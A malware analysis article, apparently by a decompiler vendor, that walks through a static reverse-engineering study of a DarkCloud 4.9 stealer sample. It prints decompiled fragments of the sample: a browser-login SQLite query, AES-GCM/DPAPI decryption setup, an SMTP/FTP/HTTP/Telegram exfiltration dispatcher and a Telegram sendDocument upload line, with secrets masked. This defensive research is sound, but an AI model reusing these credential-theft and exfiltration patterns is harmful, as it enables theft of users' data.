A Visual Basic 6 executable can steal credentials, stage files and ship them over several channels while staying opaque to a plain string extractor. The useful values are scattered across VB metadata, Unicode strings, procedure arguments and calls into the MSVBVM60.DLL runtime.

Malva.RE, a static malware analysis platform and our partner since July, has integrated VBReFormer Gen2 (V7) into its analyses. First case documented by its analysts: a sample of the DarkCloud stealer, version 4.9, written in VB6 and compiled to native code.

The result goes beyond a list of strings. The code rebuilt by VBReFormer makes it possible to tell the enabled SMTP transport apart from the three FTP, HTTP and Telegram branches disabled in this build, then to recover the server, accounts, port, SSL setting, authentication mode and file staging directory.

DarkCloud 4.9's Module7.proc_46CD10 procedure in VBReFormer Online: four transports, only the SMTP branch is enabled
Module7.proc_46CD10 in VBReFormer Online, values as decompiled.

The sample was never executed. Decompilation, YARA rule and analysis worked on its bytes only. What follows describes the code and its static configuration, not a network observation.

The case can be browsed in VBReFormer Online: the configuration procedure Module7.proc_46CD10 and the Form1 form. The sample's analysis report is open on Malva.RE.

The sample

PropertyObservation
SHA-256367383cfaa2ffc1404ba4ac1364a96992d78e036a0a67c994fbd6686f636474e
Size471,040 bytes (460 KiB)
Formatx86 PE executable, sections .text, .data, .rsrc
Imported runtimeMSVBVM60.DLL
Compilation detected by VBReFormerNative code
Internal markerAgent: DARKCLOUD V4.9
ExecutionNone

Version 4.9 comes from a string inside the program: it identifies, it does not guarantee. Nor does the MSVBVM60.DLL import tell you which APIs the program uses: VB declarations and late-bound calls bring in operations that are absent from the import table.

This study covers a native VB6 sample. VBReFormer Gen2 also handles P-code VB5/VB6 executables, but each file requires identifying its compilation mode: conclusions drawn on this program do not automatically describe another sample.

YARA: a hunting entry point

The Hunt_DarkCloud_Stealer_Variants rule was published by Evelyne Diaz Araque at Stairwell on 21 August 2025 (rule and context). It accepts three alternative matches: at least six $s* indicators; one $d* marker with at least three $t* strings; or at least four $c* indicators.

The test, run with YARA 4.1.1 without changing the strings, their modifiers or the condition, gives:

GroupIndicators presentConditionResult
$s*14 / 14At least 6Met
$d*0 / 6At least 1, with $t*Not met
$t*0 / 6At least 3, with $d*Not met
$c*0 / 6At least 4Not met

Since the conditions are alternatives, the fourteen $s* indicators are enough. Encodings matter: a UTF-16LE string is not found by an ascii search, and fullword enforces a word boundary. For the analyst, the match is only a starting point: the version marker, VB6 references, collection routines and exfiltration procedure then provide independent corroboration.

What VBReFormer rebuilt

FileRole
Project1.vbpRebuilt project description
Form1.frm / .frxForm, properties, event handlers and binary resources
Module1.basCredential collection and processing
Module2.basInitialisation, staging, utilities, cryptography
Module3.basContact collection and preparation
Module5.basReading mail client data
Module7.basExfiltration routing and transports
Companion filesReading aids and flags for elements not restored
EXPORT-NOTES.txtExport diagnostics

Eleven files, eight of them code views: five application modules, one form and two generated helper modules, not to be confused with eight original modules. The point is to read each routine in context: the form's events lead to initialisation, the collection modules prepare files, and the transport module receives the values needed for sending.

The output remains a reconstruction: local names and original comments are not in the executable. Names such as proc_46CD10 or g_471034 are for navigation; they are not the author's. In the excerpts below, procedures keep their export names, cuts are stated and sensitive identifiers masked.

From an invisible form to collection

The entry point

Form1.frm declares Visible = 0 and ShowInTaskbar = 0: a VB form does not imply a visible window. Its load event starts initialisation:

Form1.frm · Form_Load — unmodified
Private Sub Form_Load()
    On Error Resume Next
    Module2.proc_45E960
End Sub

On Error Resume Next is preserved: it does not mean the following operations succeed; it can just as well hide their failures.

Form1 in VBReFormer Online: Form_Load and the timers
Form1 in VBReFormer Online: Form_Load starts initialisation, Timer5_Timer walks the staging directory.

A per-user staging directory

Module2.bas · proc_45E960 — extracted line
g_471034 = CStr(((((Environ("AppData") + "\Microsoft\Windows\Templates\") + Environ("COMPUTERNAME")) & "-") & Environ("USERNAME")))

That is %AppData%\Microsoft\Windows\Templates\%COMPUTERNAME%-%USERNAME%. To document the behaviour, these variables stay symbolic: the real path depends on the targeted machine and user, and replacing it with the analysis workstation's profile would lose that information. The same procedure looks for winsqlite3.dll, falls back to vbsqlite3.dll and a Picture2 resource, then calls the collection routines Module1.proc_4452A0 and Module3.proc_468300.

Browser credentials: SQLite and cryptography

Module1.bas · proc_44B7E0 — extracted line
ErrStr = "SELECT origin_url, username_value, password_value FROM logins"

The code also targets the Login Data and Web Data databases, reads Local State and its os_crypt / encrypted_key fields, and calls CryptUnprotectData as well as the CNG APIs:

Module2.bas · proc_45DBF0 — shortened excerpt, editorial cut comment
If BCryptOpenAlgorithmProvider(var_5C, VarPtr("AES"), 0, 0) < 0 Then
ElseIf BCryptSetProperty(var_5C, VarPtr("ChainingMode"), VarPtr("ChainingModeGCM"), 32, 0) < 0 Then
ElseIf BCryptGenerateSymmetricKey(var_5C, var_14, 0, 0, VarPtr(arg_8(0)), (UBound(arg_8, 1) + 1), 0) < 0 Then
Else
    ' Rest of the procedure omitted from this excerpt.
End If

These lines establish the presence of AES-GCM reading and decryption paths. They do not show that the sample would recover secrets from every browser version: DPAPI depends on the user and machine context, and the analysis decrypted no data.

Contacts and files staged for sending

Module3.proc_468300 calls routines in Module5 and prepares files prefixed Contacts_Thunderbird_, Contacts_163MailContacts_ or Contacts_EMClient10Contacts_:

Module3.bas · proc_468300 — shortened excerpt, intermediate lines replaced by a comment
g_471064 = Module5.proc_4696A0()

If g_471064 <> vbNullString Then
    ' Path construction and result writing omitted.
    Module7.proc_46CD10 var_28, var_2C
    Sleep 1000
End If

The exfiltration procedure receives a label and a file path, only when collection returned something. A timer, Form1.Timer5_Timer, also walks the staging directory with the labels Cookies, Contacts, Screenshot and KeyData. Two caveats: a counter of 1000 events is not a proven 1000 ms period (SetTimer), and those labels do not prove that a keylogger or screen capture works in this build. It is a file selection and sending mechanism.

The configuration is read in the dispatcher

The central procedure is Module7.proc_46CD10. It holds four branches whose constant conditions decide which ones are live. Open this procedure in VBReFormer Online →

Module7.bas · proc_46CD10 — SMTP variables renamed, accounts, server and password masked
If 0 = -1 Then
    sStrFtpPass = "@StrFtpPass"
    sStrFtpUser = "@StrFtpUser"
    sStrFtpServer = "@StrFtpServer"
    proc_46CD10 = Module7.proc_46EEA0(sStrFtpServer, sStrFtpUser, sStrFtpPass, arg_C)
End If

If -1 = -1 Then
    var_38 = 0
    var_4C = 587
    smtpPassword = "<PASSWORD_MASKED>"
    smtpUsername = "<SMTP_ACCOUNT_MASKED>"
    smtpServer = "<SMTP_HOST>"
    smtpRecipient = "<RECIPIENT_MASKED>"
    proc_46CD10 = Module7.proc_46DBA0(smtpRecipient, smtpServer, smtpUsername, smtpPassword, arg_8, arg_C, var_4C, var_38)
End If

If 0 = -1 Then
    sGateUrl = "@GateUrl"
    proc_46CD10 = Module7.proc_46CFF0(arg_8, arg_C, sGateUrl)
End If

If 0 = -1 Then
    sChatID = "@ChatID"
    sStrBotToken = "@StrBotToken"
    proc_46CD10 = Module7.proc_46E5A0(sStrBotToken, sChatID, arg_8, arg_C)
End If

In VB, False is 0 and True is -1, like COM's VARIANT_BOOL. 0 = -1 is therefore always false, -1 = -1 always true:

TransportConditionState in this buildValues
FTP0 = -1DisabledBuilder markers
SMTP-1 = -1EnabledParameters filled in
HTTP0 = -1Disabled@GateUrl
Telegram0 = -1Disabled@StrBotToken, @ChatID

This structure is consistent with an agent produced by a builder offering several output modes. That is an inference from the code, without access to the builder.

SMTP: what the source says, what the binary completes

The dispatcher passes eight arguments to proc_46DBA0. A few lines of that procedure make the intent readable:

Module7.bas · proc_46DBA0 — selected lines
var_40.To = arg_8
var_40.Subject = arg_18
var_40.TextBody = ""
Set var_2C = var_40.Configuration
var_2C.fields("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
var_2C.fields("http://schemas.microsoft.com/cdo/configuration/sendusername") = arg_10
var_2C.fields.Update
var_40.send
The proc_46DBA0 SMTP procedure in VBReFormer Online
Module7.proc_46DBA0 in VBReFormer Online: CDO configuration, late-bound calls flagged as comments, subject built from COMPUTERNAME and USERNAME.

How each argument is used inside the procedure establishes its role:

Parameter of proc_46DBA0Role established by its use
arg_8Message recipient
arg_CSMTP server
arg_10SMTP account, also used as sender
arg_14Password passed to the send configuration
arg_18Label used in the subject
arg_1CPath of the file to attach
arg_20SMTP port
arg_24SSL setting value

The authentication account is therefore not necessarily the data's recipient, and the build's fixed parameters (server, port) separate from those assembled at collection time (subject, file). The subject in fact combines the label, COMPUTERNAME, USERNAME and a global value whose exact role is not established.

For one CDO setting, the export states plainly what it did not rebuild:

Module7.bas · proc_46DBA0 — comment as it appears in the export
' [runtime non reconstruit] __vbaLateCallSt var_2C, &H44465C&, 1, 1

That comment sends you back to the disassembly, rather than guessing an assignment from a nearby password. Near the http://schemas.microsoft.com/cdo/configuration/smtpauthenticate string:

Disassembly of the studied binary — 0x444670 is the CDO field string here, not a DarkCloud constant
0046e1b3  mov eax, 0x444670
0046e1b8  mov dword ptr [ebp - 0xdc], eax
0046e1be  mov ecx, 8
0046e1c3  mov dword ptr [ebp - 0xe4], ecx
0046e1c9  mov dword ptr [ebp - 0xfc], 1
0046e1d3  mov dword ptr [ebp - 0x104], 2
Disassembly view of proc_46DBA0: __vbaVarLateMemCallSt call then a type 2 VARIANT holding 1
Disassembly view of the same procedure: the __vbaVarLateMemCallSt call (line 432), then the 0x444670 string and the type 2 VARIANT holding 1 (lines 433 to 438).

Type 2 with value 1 is a VT_I2 VARIANT holding 1; type 8 is a BSTR (VARENUM). For CDO, smtpauthenticate=1 means cdoBasic (CdoProtocolsAuthentication). The rebuilt text locates the operation; the native instructions supply the proof. On another file, addresses and instructions would need examining again.

FieldPublished result
TransportSMTP enabled
Servermail[.]mokasco[.]com (defanged)
Port587
Account, sender, recipientIn clear in the file; masked here
PasswordIn clear in the file; masked here
SSLfalse
Authentication1 (cdoBasic)

The host is a value extracted from the binary. It says nothing about the server's current activity or the author's identity: a configured domain does not attribute the operation to its owner. Likewise, port 587 and UseSsl=false are static settings: without execution or network capture, no negotiation, authentication or delivery was observed.

Transports present but disabled

The FTP path uses InternetOpenA, InternetConnectA on port 21, then FtpPutFileA. The HTTP path builds a URL from a gateway and an ?id= parameter. The Telegram procedure holds a recognisable construction:

Module7.bas · proc_46E5A0 — extracted line
var_28 = ((((("https://api.telegram.org/bot" & arg_8) & "/sendDocument?chat_id=") & arg_C) & "&caption=") & arg_10)
The proc_46E5A0 Telegram procedure in VBReFormer Online
Module7.proc_46E5A0 in VBReFormer Online: the Telegram route exists in the code, but the dispatcher never calls it.

But @StrBotToken and @ChatID were never replaced, and the call is disabled: api.telegram.org is not this sample's exfiltration infrastructure. Another build could fill in this channel while keeping most of the collection code: a transport's name, the presence of its code and its activation are three different observations.

Finally, the end of the dispatcher holds If proc_46CD10 = -1 Then Kill arg_C. In the dispatcher, arg_C is the file to transmit: it is deleted after a positive transport result. That is neither self-deletion of the executable nor proof of actual delivery.

Three cryptographic questions not to confuse

The presence of AES-GCM and DPAPI does not mean the SMTP configuration is encrypted:

TopicObservation in the sample
Protection of targeted secretsRoutines involving decryption APIs and profile data
Storage of exfiltration parametersSMTP accounts and password in clear in this file
Network transport protectionSSL disabled in the configuration; actual exchange not observed

Concluding "AES-encrypted configuration" from BCryptDecrypt alone would miss what these procedures do: you have to follow each routine's inputs and outputs.

Why VB6 is hard to decompile

The runtime hides part of the meaning. In a VB6 program, type conversions, object handling, string management and member calls go through the runtime. The name __vbaLateCallSt does not, on its own, reveal that a CDO property configures authentication: you have to identify the object, the property and the arguments. A wrong reading turns a setting into an unknown value, or gives one parameter its neighbour's role.

An address does not tell you a datum's type. In x86, an integer, a pointer and a handle take the same space. VB6 adds its own conventions: a BSTR carries its length, a VARIANT its type, a byte array does not read like a string. In the SMTP transport, a 0 or -1 boolean has to be told apart from port 587 or authentication mode 1.

The PE entry point is not the whole program. An event-driven program lives in its forms: here, Form_Load starts initialisation and Timer5_Timer drives a recurring file selection. The Picture2 reference in a SQLite-related fallback also justifies examining the form's resources.

Native and P-code are two different problems. One leads to x86 instructions, the other to VB virtual machine instructions. The questions are the same (which data, which transformations, which destination); the path to the answers differs. The details are in P-Code or native code and Decompiler or disassembler.

What VBReFormer Gen2 brings

For this study, VBReFormer Gen2 (V7) provides a representation of the program in which forms, procedures and calls are studied together. You go from Form1 to Module2.proc_45E960, then from the collection routines to Module7.proc_46CD10: the question "where does the data go?" is answered from an identifiable procedure, its conditions and its arguments.

Analysis questionCode element that answers it
Which event starts initialisation?Form1.Form_Load
Where are results prepared?Construction of g_471034 in Module2
Which data is targeted?SQLite queries, profile paths, contact routines
Which transport is selected?Conditions in Module7.proc_46CD10
What do the accounts found correspond to?Use of the arguments in the SMTP procedure
What happens to the file after sending?Kill arg_C in the dispatcher

The gain is most visible in the dispatcher: four transports appear in the file, but reading the constant comparisons establishes that only one is enabled. A string list would have kept four hypotheses. A key, an account, a URL or a file name take their meaning from their place in the program, and each finding can be shared by pointing at a procedure and an instruction.

The scope stays precise: these excerpts demonstrate the analysis of a native VB6 DarkCloud. They do not guarantee full restoration of every VB5/VB6 executable.

What the analysis does not claim

  • A clear-text configuration in this sample does not mean every DarkCloud version stores its parameters the same way. The SMTP server belongs to this build, not to a family signature.
  • Some fragments of the rebuilt code remain incomplete: a value not restored stays an open question until the file settles it.
  • Crypto API names, CDO schemas and domains of legitimate services are not, by themselves, malicious IOCs. The @GateUrl, @StrBotToken and @ChatID markers are not network IOCs.
  • No connection to the SMTP server, credential test or send attempt was made.

Explore the case

The Module7.proc_46CD10 configuration view shows the four transport branches and the difference between filled-in parameters and builder markers. The Form1 view starts from the form's events and leads back to initialisation and collection.

For an analyst reading a Malva.RE report, such as this sample's, access to the decompilation makes it possible to check the results against the behaviour the procedures describe: which routine collects the data, which condition allows sending, which arguments name the destination.

References